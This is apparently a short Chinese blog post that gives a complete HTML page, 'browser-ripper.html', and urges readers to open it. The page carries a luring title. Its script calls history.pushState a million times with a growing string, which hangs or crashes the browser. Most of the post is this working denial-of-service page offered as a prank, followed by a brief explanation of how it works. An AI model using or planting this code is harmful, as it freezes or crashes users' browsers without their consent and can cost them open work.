如何将浏览器炸掉?
你可以直接打开这个链接 或者,你也可以新建一个文件 browser-ripper.html
,内容如下:
<html>
<head>
<title>等待 10 秒,便可享受到飞一般的感觉</title>
</head>
<body>
<h1>抓紧,要上天了!</h1>
<script>
var total = "";
for (var i = 0; i<1000000; i++) {
total = total + i.toString();
history.pushState(0,0,total);
}
</script>
</body>
</html>
然后用浏览器打开它
你真的打开它了😂? 是不是很爽?😂我们来看看原理
嗯...大家都能看出来这是一个 JS 循环,而重点就在于 history.pushState
这句。 而history.pushState
是什么呢? 大家可能或多或少都听说过 pjax(没错,本博客就在用),而而 pjax 中的这个“p”在某种意义上代表的就是 history.pushState
,这是现代浏览器普遍支持的一种添加浏览历史记录的方法。 是不是觉得豁然开朗?没错!这一段 JS 就是在向你的浏览器历史里塞进 1000000 条记录😂 (逃
本文参考了: Cyber Security 的 Tweet